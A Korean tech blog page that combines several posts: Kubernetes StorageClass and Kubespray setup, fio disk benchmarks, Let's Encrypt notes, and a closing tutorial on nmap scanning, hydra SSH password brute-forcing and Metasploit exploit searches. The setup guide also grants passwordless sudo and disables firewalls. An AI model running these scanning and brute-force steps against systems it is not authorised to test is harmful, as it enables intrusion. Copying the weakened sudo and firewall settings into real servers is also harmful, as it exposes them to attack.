반응형

 

https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863

 

CloudNet@ Blog

CloudNet@ 팀에서 Cloud Infra & Network 기술에 대한 정보를 공유하는 블로그 입니다.

gasidaseo.notion.site

 

 

이정훈(Jerry)

https://jerryljh.tistory.com/

 

매일 쓰고 달립니다.

문의는 erdia22@gmail.com으로 부탁드립니다.

jerryljh.tistory.com

 

위 블로그 운영자(이정훈 님)이 작성한 Example Code.

https://github.com/wikibook/kubepractice

 

GitHub - wikibook/kubepractice: 《24단계 실습으로 정복하는 쿠버네티스》 예제 코드

《24단계 실습으로 정복하는 쿠버네티스》 예제 코드. Contribute to wikibook/kubepractice development by creating an account on GitHub.

github.com

 

반응형

 


작성일: 2023년 9월 23일

 

 

 

Network Direction  (Network 개념 공부 및 실습하기에 좋은 영상)

https://www.youtube.com/@NetworkDirection

 

 

기계 만들기 재능이 탁월한 사람이 만든 영상

https://www.youtube.com/@RYLTech/featured

 

 

리틀타네의 슬기로운 생활 (인생 멘토 같은 영상 ^^)

https://www.youtube.com/@littletane

 

 

아야금 (가야금 메들리)

https://www.youtube.com/@AYAGEUM_

 

 

레이진 [Raye & Jin]  (한미 부부의 일상 생활을 담음.  일상 영어 듣기 좋음)

https://www.youtube.com/@rayejin

 

 

 

 

 


 

반응형

 

Kubernetes에서 여러 StorageClass를 사용하다보면, 주로 사용하는 1개의 StorageClass가 발생하게 된다. (내 경험상~)

이럴 때, 그 자주 사용하는 StorageClass가 Default로 선택되도록하면 PV 생성할 때 편한데

아래와 같이 하면 된다.

$ kubectl get sc

NAME                        PROVISIONER                    RECLAIMPOLICY   VOLUMEBINDINGMODE      ALLOWVOLUMEEXPANSION   AGE
... 중간 생략 ...
rook-ceph-block             rook-ceph.rbd.csi.ceph.com     Retain          Immediate              true                   203d
... 중간 생략 ...


##
## 위 StorageClass 리스트 중에서 rook-ceph-block을 default로 만들기.
##

$ kubectl patch storageclass rook-ceph-block -p '{"metadata": {"annotations":{"storageclass.kubernetes.io/is-default-class":"true"}}}'

storageclass.storage.k8s.io/rook-ceph-block patched

$ kubectl get sc rook-ceph-block -o yaml

... 중간 생략 ...
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: rook-ceph-block
  annotations:
    storageclass.kubernetes.io/is-default-class: "true"
... 중간 생략 ...  


##
## StorageClass 리스트를 조회해보면, 
## 아래와 같이 'rook-ceph-block' 이름 옆에 (default)로 표시되어 있다.
##

$ kubectl get sc

NAME                        PROVISIONER                    RECLAIMPOLICY   VOLUMEBINDINGMODE      ALLOWVOLUMEEXPANSION   AGE
... 중간 생략 ...
rook-ceph-block (default)   rook-ceph.rbd.csi.ceph.com     Retain          Immediate              true                   203d
... 중간 생략 ...

 

 

자세한 설명을 보고 싶다면 아래 Web Docs를 참고.

https://kubernetes.io/docs/tasks/administer-cluster/change-default-storage-class/  

 


 

반응형

 

SSD, HDD, 또는 Cloud Infra에서 제공하는 가상 Storage의 IOPS 성능이 궁금할 때,
fio 명령을 사용하면 쉽게 IOPS 측정 결과를 얻을 수 있다.

$ sudo apt install fio

## fio 명령 옵션 설명
##  --numjobs=8   8개의 쓰레드가 동시에 I/O 테스트 실행. 생성되는 파일도 8개.
##  --size=1G     각 테스트용 파일의 크기
##  --runtime=10  10초 동안 테스트

## 10초 동안
$ fio --directory=/home/sejong/fio --name fio_test_file \
        --direct=1 --rw=randwrite --bs=4K --size=1G \
        --numjobs=8 --time_based --runtime=10 \
        --group_reporting --norandommap --rwmixread 30
        
... 중간 생략 ...

Jobs: 8 (f=8): [w(8)][100.0%][w=1924MiB/s][w=493k IOPS][eta 00m:00s]
fio_test_file: (groupid=0, jobs=8): err= 0: pid=3313523: Wed Aug 23 15:20:07 2023
  write: IOPS=466k, BW=1822MiB/s (1910MB/s)(17.8GiB/10001msec); 0 zone resets
    clat (usec): min=10, max=6785, avg=16.77, stdev=25.55
     lat (usec): min=10, max=6786, avg=16.84, stdev=25.55
    clat percentiles (usec):
     |  1.00th=[   12],  5.00th=[   13], 10.00th=[   14], 20.00th=[   14],
     | 30.00th=[   15], 40.00th=[   16], 50.00th=[   16], 60.00th=[   17],
     | 70.00th=[   18], 80.00th=[   19], 90.00th=[   20], 95.00th=[   22],
     | 99.00th=[   27], 99.50th=[   30], 99.90th=[  103], 99.95th=[  120],
     | 99.99th=[ 1532]
   bw (  MiB/s): min= 1628, max= 1953, per=99.78%, avg=1817.71, stdev=12.47, samples=152
   iops        : min=416986, max=500024, avg=465333.05, stdev=3191.37, samples=152
  lat (usec)   : 20=90.35%, 50=9.49%, 100=0.06%, 250=0.08%, 500=0.01%
  lat (usec)   : 750=0.01%, 1000=0.01%
  lat (msec)   : 2=0.01%, 4=0.01%, 10=0.01%
  cpu          : usr=4.28%, sys=29.64%, ctx=4664591, majf=0, minf=115
  IO depths    : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
     submit    : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
     complete  : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
     issued rwts: total=0,4663934,0,0 short=0,0,0,0 dropped=0,0,0,0
     latency   : target=0, window=0, percentile=100.00%, depth=1

Run status group 0 (all jobs):
  WRITE: bw=1822MiB/s (1910MB/s), 1822MiB/s-1822MiB/s (1910MB/s-1910MB/s), io=17.8GiB (19.1GB), run=10001-10001msec

Disk stats (read/write):
  nvme0n1: ios=0/4613003, merge=0/103199, ticks=0/55894, in_queue=56493, util=99.15%
  
$
반응형

 

작성일: 2025년 10월 29일

 

여담 1:
이전에는 kubeadm 명령 도구를 이용해서 kubernetes cluster를 구축했었는데,
오늘은 만사가 귀찮아서 kubespray를 이용해서 kubernetes cluster를 구축해보기로 했다.
kubespray를 이용하면 containerd, CNI, MetalLB 같은 패키지를 직접 설치하지 않아도 되니까 시간이 많이 절약된다.
Ubuntu 22.04 OS가 설치되어 있다고 가정하면, 대략 아래 절차를 따라했을 때 30분 정도 시간이 소요되는 것 같다.

 

여담 2:
아래 작업을 3가지 CPU 스펙으로 진행해봤는데, 저사양 CPU에서는 kubespray를 수행하는 중간에 실패한다.
특히 kubespray를 실행하는 노드(예를 들어 master-a 노드)의 CPU 스펙이 중요하다.
내가 테스트했던 CPU 스펙과 성공/실패 여부를 정리해보면;
CPU 스펙 Kubespray 동작 결과
Intel(R) Xeon(R) E-2278G CPU @ 3.40GHz (16 쓰레드) K8S 클러스터 구성 성공
Intel(R) Xeon(R) E-2124G CPU @ 3.40GHz (4 쓰레드) K8S 클러스터 구성 실패
Intel(R) Core(TM) i7-11700 @ 2.50GHz (16 쓰레드) K8S 클러스터 구성 성공

 

.

.

.

 

Kubernetes cluster 구축 환경 및 Network 구성 정보  [ K8S 클러스터 설계 ]

주의:
아래 예시는 kubespray를 실행할 장비를 별도로 만들지 않았는데, 금전적으로 여유가 있거나 이미 HW가 넉넉히 있는 경우라면
kubespray 실행용 장비를 따로 가지고 있으면 좋다.
Master node: 3개 (Ubuntu 22.04)
  - CPU: 2 core
  - MEM: 8GB
  - OS: Ubuntu 22.04

Worker node: 3개 (Ubuntu 22.04)
  - CPU: 4 core
  - MEM: 16GB
  - OS: Ubuntu 22.04

##
## 참고: CPU, MEM가 적어서 master-a 장비에서 kubespray를 실행하겠다.  
##      만약, HW 제원이 넉넉하다면 kubespray를 실행할 전용 장비가 있으면 좋다.  
##

Network 구성:
  - master-a: 10.10.1.11
  - master-b: 10.10.1.12
  - master-c: 10.10.1.13
  - worker-a: 10.10.1.101
  - worker-b: 10.10.1.102
  - worker-c: 10.10.1.103

 

 

OS & 접속 계정 설정

Master node 및 Worker node로 사용할 6개의 Ubuntu 22.04 서버를 설치한다.

아래 2가지 중에서 편한 방법으로 구성하면 된다.
  - 물리 장비에 OS를 설치하거나 VM에 OS를 설치. (실제로 상용 서비스를 할 것이라면, 이 방법을 권장)
  - 단순히 학습을 목적으로 Kubernetes cluster를 설치한다면, VM에 OS를 설치하는 것을 권장.

 

[ 작업 대상 장비: master-a 노드 ]
'master-a' 에서 아래와 같이 Private key, Public key를 생성하고
이렇게 생성한 Public key를 모든 kubernetes node에 복사한다.

## 이 명령은 master-a 노드에서 수행해야 한다.

$ ssh-keygen 

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
... 생략 ...

$ ssh-copy-id  sejong@master-a
...

$ ssh-copy-id  sejong@master-b
...

$ ssh-copy-id  sejong@master-c
...

$ ssh-copy-id  sejong@worker-a
...

$ ssh-copy-id  sejong@worker-b
...

$ ssh-copy-id  sejong@worker-c
...

 

 

[ 작업 대상 장비: 모든 노드 ]

Password 없이 Root 권한을 얻기 위해 각 노드에서 아래와 같이 작업을 수행한다. (Ansible이 동작하기 위해 필요한 작업)
$ sudo -
$ echo "sejong ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

 

 

[ 작업 대상 장비: 모든 노드 ]

각 노드의 Firewall 기능이 disable되어 있는지 확인한다.
$ ufw status
Status: inactive
 
 

[ 작업 대상 장비: 모든 노드 ]

각 노드의 /etc/hosts 파일에 아래의 내용을 추가한다.
$ cat /etc/hosts

... 중간 생략 ...

10.10.1.11 master-a
10.10.1.12 master-b
10.10.1.13 master-c

10.10.1.101 worker-a
10.10.1.102 worker-b
10.10.1.103 worker-c

... 중간 생략 ...
 

Kubespray 실행을 위한 준비 작업

[ 작업 대상 장비: master-a 노드 ]

$ sudo -s

$ apt update

$ apt install python3-pip

$ git clone https://github.com/kubernetes-sigs/kubespray.git

$ cd kubespray

$ pip3 install -r requirements.txt

$ cd inventory

$ cp -Rp sample/ mycluster


$ cat hosts.yaml

all:
  hosts:
    master-a:
      ansible_host: master-a
    master-b:
      ansible_host: master-b
    master-c:
      ansible_host: master-c
    worker-a:
      ansible_host: worker-a
    worker-b:
      ansible_host: worker-b
    worker-c:
      ansible_host: worker-c      
  children:
    kube_control_plane:
      hosts:
        master-a:
        master-b:
        master-c:
    kube_node:
      hosts:
        worker-a:
        worker-b:
        worker-c:
    etcd:
      hosts:
        master-a:
        master-b:
        master-c:
    k8s_cluster:
      children:
        kube_control_plane:
        kube_node:
        calico_rr:
    calico_rr:
      hosts: {}


$ cat  ./group_vars/k8s_cluster/k8s-cluster.yml

... 중간 생략 ...

## Kube cluster를 구축하고 나서, MetalLB를 설치할 때 strict_arp 설정이 필요하다.
## 따라서 MetalLB를 설치하려는 경우라면, 아래 설정을 꼭 'true'로 변경해야 한다.
kube_proxy_strict_arp: true
... 중간 생략 ...
container_manager: containerd
... 중간 생략 ...
kubernetes_audit: true
... 중간 생략 ...

$

 

 

Kubespray 실행하기 (Kubernetes Cluster 생성하기)

[ 작업 대상 장비: master-a 노드 ]

##
## kubespray 소스 폴더의 최상위 폴더로 이동 후 아래 명령을 실행
## (참고) root 계정, 일반 계정 어떤 것으로 ansible-playbook 명령을 실행해도 괜찮다.
##       단, 위에서 public key를 모든 노드에 복사(ssh-copy-id)할 때 어떤 계정의 public key를
##       사용했느냐에 따라 동일한 계정으로 아래 명령을 수행하면 된다.
##

$ ansible-playbook -v -i inventory/mycluster/hosts.yaml --become --become-user=root cluster.yml

... 중간 생략 ...

TASK [network_plugin/calico : Set calico_pool_conf] *****************************************************************************************************************************************
ok: [master-a] => {"ansible_facts": {"calico_pool_conf": {"apiVersion": "projectcalico.org/v3", "kind": "IPPool", "metadata": {"creationTimestamp": "2024-03-08T15:06:52Z", "name": "default-pool", "resourceVersion": "4122", "uid": "ffb5f2e0-85f1-4f3b-9c9d-55fe86be8c97"}, "spec": {"allowedUses": ["Workload", "Tunnel"], "blockSize": 26, "cidr": "10.233.64.0/18", "ipipMode": "Never", "natOutgoing": true, "nodeSelector": "all()", "vxlanMode": "Always"}}}, "changed": false}
Friday 08 March 2024  15:29:07 +0000 (0:00:00.054)       0:19:02.007 **********

TASK [network_plugin/calico : Check if inventory match current cluster configuration] *******************************************************************************************************
ok: [master-a] => {
    "changed": false,
    "msg": "All assertions passed"
}
Friday 08 March 2024  15:29:07 +0000 (0:00:00.060)       0:19:02.067 **********
Friday 08 March 2024  15:29:07 +0000 (0:00:00.037)       0:19:02.104 **********
Friday 08 March 2024  15:29:07 +0000 (0:00:00.045)       0:19:02.150 **********

PLAY RECAP **********************************************************************************************************************************************************************************
master-a                   : ok=676  changed=35   unreachable=0    failed=0    skipped=1164 rescued=0    ignored=2
master-b                   : ok=580  changed=25   unreachable=0    failed=0    skipped=1046 rescued=0    ignored=1
master-c                   : ok=582  changed=25   unreachable=0    failed=0    skipped=1044 rescued=0    ignored=1
worker-a                   : ok=419  changed=8    unreachable=0    failed=0    skipped=695  rescued=0    ignored=1
worker-b                   : ok=419  changed=8    unreachable=0    failed=0    skipped=691  rescued=0    ignored=1
worker-c                   : ok=419  changed=8    unreachable=0    failed=0    skipped=691  rescued=0    ignored=1

Friday 08 March 2024  15:29:07 +0000 (0:00:00.309)       0:19:02.459 **********
===============================================================================
kubernetes/kubeadm : Restart all kube-proxy pods to ensure that they load the new configmap ----------------------------------------------------------------------------------------- 71.14s
network_plugin/calico : Check if calico ready --------------------------------------------------------------------------------------------------------------------------------------- 69.41s
kubernetes-apps/ansible : Kubernetes Apps | Start Resources ------------------------------------------------------------------------------------------------------------------------- 65.75s
network_plugin/calico : Calico | Create Calico Kubernetes datastore resources ------------------------------------------------------------------------------------------------------- 41.63s
kubernetes/control-plane : Upload certificates so they are fresh and not expired ---------------------------------------------------------------------------------------------------- 35.07s
etcd : Configure | Wait for etcd cluster to be healthy ------------------------------------------------------------------------------------------------------------------------------ 29.78s
kubernetes/preinstall : Preinstall | restart kube-apiserver crio/containerd --------------------------------------------------------------------------------------------------------- 27.93s
policy_controller/calico : Start of Calico kube controllers ------------------------------------------------------------------------------------------------------------------------- 26.35s
etcd : Reload etcd ------------------------------------------------------------------------------------------------------------------------------------------------------------------ 21.45s
kubernetes/preinstall : Preinstall | restart kube-controller-manager crio/containerd ------------------------------------------------------------------------------------------------ 20.39s
network_plugin/calico : Calico | Configure calico network pool ---------------------------------------------------------------------------------------------------------------------- 15.41s
network_plugin/calico : Start Calico resources -------------------------------------------------------------------------------------------------------------------------------------- 14.03s
kubernetes/control-plane : Create kubeadm token for joining nodes with 24h expiration (default) ------------------------------------------------------------------------------------- 13.13s
etcd : Wait for etcd up ------------------------------------------------------------------------------------------------------------------------------------------------------------- 12.82s
container-engine/runc : Download_file | Download item ------------------------------------------------------------------------------------------------------------------------------- 12.65s
container-engine/crictl : Download_file | Download item ----------------------------------------------------------------------------------------------------------------------------- 12.60s
container-engine/containerd : Download_file | Download item ------------------------------------------------------------------------------------------------------------------------- 12.17s
kubernetes/control-plane : Check which kube-control nodes are already members of the cluster ---------------------------------------------------------------------------------------- 11.68s
container-engine/nerdctl : Download_file | Download item ---------------------------------------------------------------------------------------------------------------------------- 11.57s
etcd : Backup etcd v2 data ---------------------------------------------------------------------------------------------------------------------------------------------------------- 11.29s

$

 

[ 참고 ]
가끔 위 ansible-playbook 명령이 실패하는 경우가 있다.
그럴 때는 동일하게 한번 더 실행하면 해결되는 경우가 많다. (특히, CPU와 Memory 성능이 낮은 경우)

 

위 Ansible playbook이 정상적으로 수행되었다면,
아래와 같이 root 계정 권한으로 kubectl 명령을 수행해본다.

 

$ sudo -s

$ kubectl get node -o wide

NAME       STATUS   ROLES           AGE   VERSION   INTERNAL-IP    EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION       CONTAINER-RUNTIME
master-a   Ready    control-plane   35m   v1.29.2   172.17.1.11    <none>        Ubuntu 22.04.4 LTS   5.15.0-100-generic   containerd://1.7.13
master-b   Ready    control-plane   34m   v1.29.2   172.17.1.12    <none>        Ubuntu 22.04.4 LTS   5.15.0-100-generic   containerd://1.7.13
master-c   Ready    control-plane   33m   v1.29.2   172.17.1.13    <none>        Ubuntu 22.04.4 LTS   5.15.0-100-generic   containerd://1.7.13
worker-a   Ready    <none>          31m   v1.29.2   172.17.1.101   <none>        Ubuntu 22.04.4 LTS   5.15.0-100-generic   containerd://1.7.13
worker-b   Ready    <none>          31m   v1.29.2   172.17.1.102   <none>        Ubuntu 22.04.4 LTS   5.15.0-100-generic   containerd://1.7.13
worker-c   Ready    <none>          31m   v1.29.2   172.17.1.103   <none>        Ubuntu 22.04.4 LTS   5.15.0-100-generic   containerd://1.7.13


$ kubectl get pod -A

NAMESPACE     NAME                                      READY   STATUS              RESTARTS         AGE
kube-system   calico-kube-controllers-648dffd99-l9pnt   1/1     Running             0                12m
kube-system   calico-node-4q5q9                         1/1     Running             11 (18m ago)     31m
kube-system   calico-node-98pdw                         1/1     Running             14 (5m52s ago)   31m
kube-system   calico-node-nrn9h                         1/1     Running             12 (7m57s ago)   31m
kube-system   calico-node-wgpvw                         1/1     Running             11 (18m ago)     31m
kube-system   coredns-69db55dd76-zkfqn                  1/1     Running             0                10m
kube-system   dns-autoscaler-6f4b597d8c-rt9nk           1/1     Running             0                10m
kube-system   kube-apiserver-master-a                   1/1     Running             4 (18m ago)      37m
kube-system   kube-apiserver-master-b                   1/1     Running             4 (18m ago)      36m
kube-system   kube-apiserver-master-c                   1/1     Running             4 (16m ago)      35m
kube-system   kube-controller-manager-master-a          1/1     Running             8 (6m27s ago)    37m
kube-system   kube-controller-manager-master-c          1/1     Running             10 (7m48s ago)   35m
kube-system   kube-proxy-hgt5x                          1/1     Running             0                15m
kube-system   kube-proxy-j26c8                          1/1     Running             0                15m
kube-system   kube-proxy-ldlb7                          1/1     Running             0                13m
kube-system   kube-proxy-trhgl                          1/1     Running             0                15m
kube-system   kube-proxy-vh6qt                          1/1     Running             0                15m
kube-system   kube-proxy-wv48f                          1/1     Running             0                13m
kube-system   kube-scheduler-master-a                   1/1     Running             7 (10m ago)      37m
kube-system   kube-scheduler-master-b                   1/1     Running             7 (6m15s ago)    36m
kube-system   kube-scheduler-master-c                   1/1     Running             7 (11m ago)      35m
kube-system   nginx-proxy-worker-a                      1/1     Running             0                34m
kube-system   nginx-proxy-worker-b                      1/1     Running             0                34m
kube-system   nginx-proxy-worker-c                      1/1     Running             0                32m
kube-system   nodelocaldns-42f6z                        1/1     Running             0                10m
kube-system   nodelocaldns-5nqjw                        1/1     Running             0                10m
kube-system   nodelocaldns-dsg5w                        1/1     Running             0                10m
kube-system   nodelocaldns-dz9tm                        1/1     Running             0                10m
kube-system   nodelocaldns-mxjxz                        1/1     Running             0                10m
kube-system   nodelocaldns-zqb6h                        1/1     Running             0                10m

$ kubectl get svc -A

NAMESPACE     NAME         TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)                  AGE
default       kubernetes   ClusterIP   10.233.0.1   <none>        443/TCP                  37m
kube-system   coredns      ClusterIP   10.233.0.3   <none>        53/UDP,53/TCP,9153/TCP   12m
$

 

 

 

Kubespray ansible playbook은 11분 42초가 소요되었는데,

조금 더 최신 컴퓨터로 ansible playbook을 실행했다면 10분 이내에 모든 cluster 구축이 완료되지 않을까...

 

[ 참고: 이번 테스트에 사용했던 HW 1 사양 ]

$ lshw -short

H/W path           Device           Class          Description
==============================================================
... 중간 생략 ...
/0/3b                               memory         64GiB System Memory
/0/52                               processor      11th Gen Intel(R) Core(TM) i7-11700 @ 2.50GHz
/0/100/1/0                          display        GA102 [GeForce RTX 3080 Ti]
/0/100/6/0         /dev/nvme0       storage        Samsung SSD 980 PRO 1TB
... 중간 생략 ...

 

[ 참고: 이번 테스트에 사용했던 HW 2 사양 ]

$  lshw -short

H/W path          Device     Class          Description
=======================================================
/0/3a                      memory         64GiB System Memory
/0/3a/0                    memory         32GiB SODIMM DDR4 Synchronous 3200 MHz (0.3 ns)
/0/3a/2                    memory         32GiB SODIMM DDR4 Synchronous 3200 MHz (0.3 ns)
/0/48                      processor      Intel(R) Xeon(R) E-2278G CPU @ 3.40GHz
... 중간 생략 ...

 


 

예제 Pod, Service를 배포하기

아래 글에 간단하게 Pod, Service 리소스를 생성하는 예제 코드 및 명령이 있다.

https://andrewpage.tistory.com/68

 

 


 

 

 

Troubleshooting, Q&A

 

Kubernetes cluster 초기화 하기

$ ansible-playbook -v -i inventory/mycluster/hosts.yaml --become --become-user=root reset.yml

 

Kubernetes cluster 를 upgrade 하기

Upgrade 시나리오가 다양하기 때문에 아래 글을 자세히 읽고 Upgrade를 수행하는 것을 권장한다.

https://github.com/kubernetes-sigs/kubespray/blob/master/docs/upgrades.md

 

Kubernetes node를 추가, 대체하기 (Join new node, Replace node)

Kubernetes node에 대한 operation이 다양하기 때문에 아래 글을 자세히 읽고 node 관리하는 것을 권장한다.

https://github.com/kubernetes-sigs/kubespray/blob/master/docs/nodes.md

 

 

MetalLB를 활성화하고 싶다면, group_vars 디렉토리에서 MetalLB 관련 설정을 활성화

예를 들어, "inventory/mycluster/group_vars/k8s_cluster" 라는 디렉토리가 있다면, 이 디렉토리에서 "metallb" 관련 설정 항목을 찾아서 "true" 값으로 변경하고 kubespray를 실행한다.

 

 

 

블로그 작성자: sejong.jeonjo@gmail.com

 

 

반응형

 


 

작성일: 2025년 3월 16일

 

 

롯데마트에 가기 전에 내가 구입할 제품이 해당 매장(점포)에 있는지 확인하고자 한다면,

아래 Web site를 이용할 것~

 

http://company.lottemart.com/mobiledowa/

 

 

롯데마트 매장별 상품 재고 조회

 

 

직접 롯데마트 매장에 가서 확인해봤는데, 아래 웹 사이트에서 조회한 재고 수량과 실제 매장의 재고 수량이 일치했었다.

 

 

롯데마트 매장별 상품 재고 조회


 

반응형

 

작성일: 2023년 8월 16일
참고 사항:
- Let’s Encrypt 는 SSL, TLS 무료로 인증서를 제공해주는 인증 기관이다.
- 인증서 유효기간이 90일이다.
- 따라서 90일이 지나기 전에 기존 인증서를 Renewal해주어야 한다.

 

자세한 발급 방법은 아래 Web Docs를 참고하기.


https://certbot.eff.org/

https://letsencrypt.org/ko/getting-started/

https://namu.wiki/w/Let's%20Encrypt

 

 

 

반응형

 


작성일:  2023년 8월 16일

 

nmap 명령

nmap 명령을 이용하여 특정 호스트에서 제공하는 서비스를 확인한다.

(즉, Listening하고 있는 TCP, UDP 포트를 스캔한다)

##
## 10.1.4.0 Network에 있는 Host의 IP address와 MAC address를 탐색하기
##

$ nmap -sn 10.1.4.0/24
Nmap scan report for 10.1.4.1
Host is up (0.0018s latency).
MAC Address: 1C:AF:AF:33:77:CF (JunOS Systems)
... 중간 생략 ...
Nmap scan report for 10.1.4.165
Host is up (0.0013s latency).
MAC Address: AB:A3:2E:34:36:31 (My Company)
Nmap scan report for kali.korea.kr (10.1.4.55)
Host is up.
Nmap done: 256 IP addresses (14 hosts up) scanned in 4.36 seconds



##
## 192.168.3.0 ~ 192.168.0.255 범위에 속하는 Network 장비의
## 서비스 포트를 스캔한다.
##

$ nmap -sV 192.168.3.0/24

Starting Nmap 7.80 ( https://nmap.org ) at 2023-08-15 16:59 KST

... 중간 생략 ...

Nmap scan report for my-host.andrew.bastion (192.168.3.11)
Host is up (0.00049s latency).
Not shown: 993 closed ports
PORT     STATE    SERVICE       VERSION
22/tcp   open     ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
111/tcp  open     rpcbind       2-4 (RPC #100000)
139/tcp  open     netbios-ssn   Samba smbd 4.6.2
445/tcp  open     netbios-ssn   Samba smbd 4.6.2
2049/tcp open     nfs_acl       3 (RPC #100227)
3389/tcp filtered ms-wbt-server
5000/tcp open     http          Docker Registry (API: 2.0)
MAC Address: 18:C0:4D:8A:DB:29 (Giga-byte Technology)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

... 중간 생략 ...

Nmap scan report for 192.168.3.130
Host is up (0.00045s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.5.5-10.11.4-MariaDB-log
MAC Address: 00:07:32:4A:78:1E (Aaeon Technology)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

... 중간 생략 ...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (11 hosts up) scanned in 419.38 seconds

$ 



##
## 10.1.4.8 host의 상세한 정보를 위한 스캔 방법
## (참고: -A 옵션은 -O -sV --script=default --traceroute 옵션과 동일하다)
##

$ nmap -A 10.1.4.8

 

hydra 명령

위 nmap 명령을 수행하여 얻은 네트워크 서비스 정보(IP Address, TCP/UDP Port)를 확인하고,

hydra 명령을 이용하여 ssh 서비스에 접근해본다. (ssh, ftp, mysql, nfs, http 등 모든 서비스에 대해서 테스트할 수 있다)

$ cat passwd.tx

mytestpw
mypasswd
thetest
junkpass
...
...

$

##
## ssh 로그인 테스트
##

$ hydra -l mytestid -P passwd.txt -v -V -f 192.168.3.11 ssh

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-15 17:07:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking ssh://192.168.3.11:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://mytestid@192.168.3.11:22
[INFO] Successful, password authentication is supported by ssh://192.168.3.11:22
[ATTEMPT] target 192.168.3.11 - login "mytestid" - pass "mytestpw" - 1 of 4 [child 0] (0/0)
[ATTEMPT] target 192.168.3.11 - login "mytestid" - pass "mypasswd" - 2 of 4 [child 1] (0/0)
[ATTEMPT] target 192.168.3.11 - login "mytestid" - pass "thetest" - 3 of 4 [child 2] (0/0)
[ATTEMPT] target 192.168.3.11 - login "mytestid" - pass "junkpass" - 4 of 4 [child 3] (0/0)
[22][ssh] host: 192.168.3.11   login: mytestid   password: thetest
[STATUS] attack finished for 192.168.3.11 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-15 17:07:16


##
## mysql 로그인 테스트
##

$ hydra -l mytestid -P passwd.txt -v -V -f 192.168.3.11 mysql

...
...

 

 

msfdb, msfconsole 명령

Metasploit 해킹 테스트 도구를 이용하여 인터넷 서비스(예: Samba)의 취약점을 확인하고, 해당 취약점을 해킹 경로로 삼을 수 있다.

긴 설명보다는 아래의 예제를 보는 것이 이해하기 좋을 듯~

$ sudo -s

$ msfdb init

[?] Would you like to init the webservice? (Not Required) [no]:
Clearing http web data service credentials in msfconsole
Running the 'init' command for the database:
Existing database running



$ msfdb start

[?] Would you like to start the webservice? (Not Required) [no]:
Clearing http web data service credentials in msfconsole
Running the 'start' command for the database:
Database already started at /home/myuser/snap/metasploit-framework/common/.msf4/db



$ msfdb status

====================================================================
Running the 'status' command for the database:
Database started
====================================================================

====================================================================
Running the 'status' command for the webservice:
MSF web service is running as PID 81810
====================================================================



$ msfconsole
...
... 중간 생략 ...
...
Metasploit Documentation: https://docs.metasploit.com/

##
## 참고 설명:
##   - 옵션은 "모든 취약점을 리스팅"하라는 뜻
##   -s  disclosure_date 옵션은 "해당 취약점 공개 날짜 순서로 정렬"하라는 뜻
##

msf6 > search - -s disclosure_date
...
... 중간 생략 ...
...
   5221  exploit/linux/http/pyload_js2py_exec                                               2023-01-13       excellent  Yes    pyLoad js2py Python Execution
   5222  exploit/linux/http/froxlor_log_path_rce                                            2023-01-29       excellent  Yes    Froxlor Log Path RCE
   5223  auxiliary/scanner/http/joomla_api_improper_access_checks                           2023-02-01       normal     Yes    Joomla API Improper Access Checks
   5224  exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669                             2023-02-01       excellent  No     Fortra GoAnywhere MFT Unsafe Deserialization RCE
   5225  exploit/multi/http/lucee_scheduled_job                                             2023-02-10       excellent  No     Lucee Authenticated Scheduled Job Code Execution
   5226  exploit/linux/http/fortinac_keyupload_file_write                                   2023-02-16       excellent  Yes    Fortinet FortiNAC keyUpload.jsp arbitrary file write
   5227  exploit/unix/webapp/spip_rce_form                                                  2023-02-27       excellent  Yes    SPIP form PHP Injection
   5228  exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360                             2023-03-14       excellent  Yes    Adobe ColdFusion Unauthenticated Remote Code Execution
   5229  exploit/linux/misc/unidata_udadmin_auth_bypass                                     2023-03-30       excellent  Yes    Rocket Software Unidata udadmin_server Authentication Bypass
   5230  exploit/linux/misc/unidata_udadmin_password_stack_overflow                         2023-03-30       good       Yes    Rocket Software Unidata udadmin_server Stack Buffer Overflow in Password
   5231  exploit/multi/http/pentaho_business_server_authbypass_and_ssti                     2023-04-04       excellent  Yes    Pentaho Business Server Auth Bypass and Server Side Template Injection RCE
   5232  exploit/aix/local/invscout_rpm_priv_esc                                            2023-04-24       excellent  Yes    invscout RPM Privilege Escalation
   5233  exploit/windows/http/ivanti_avalanche_filestoreconfig_upload                       2023-04-24       excellent  Yes    Ivanti Avalanche FileStoreConfig File Upload

##
## 만약, Windows RDP(Remote Desktop Protocol)에 관련한 취약점을 검색하고 싶다면
## 아래 명령처럼 수행하면 된다.
##

msf6 > search -s disclosure_date  "RDP Remote Windows"

Matching Modules
================

   #   Name                                                  Disclosure Date  Rank    Check  Description
   -   ----                                                  ---------------  ----    -----  -----------
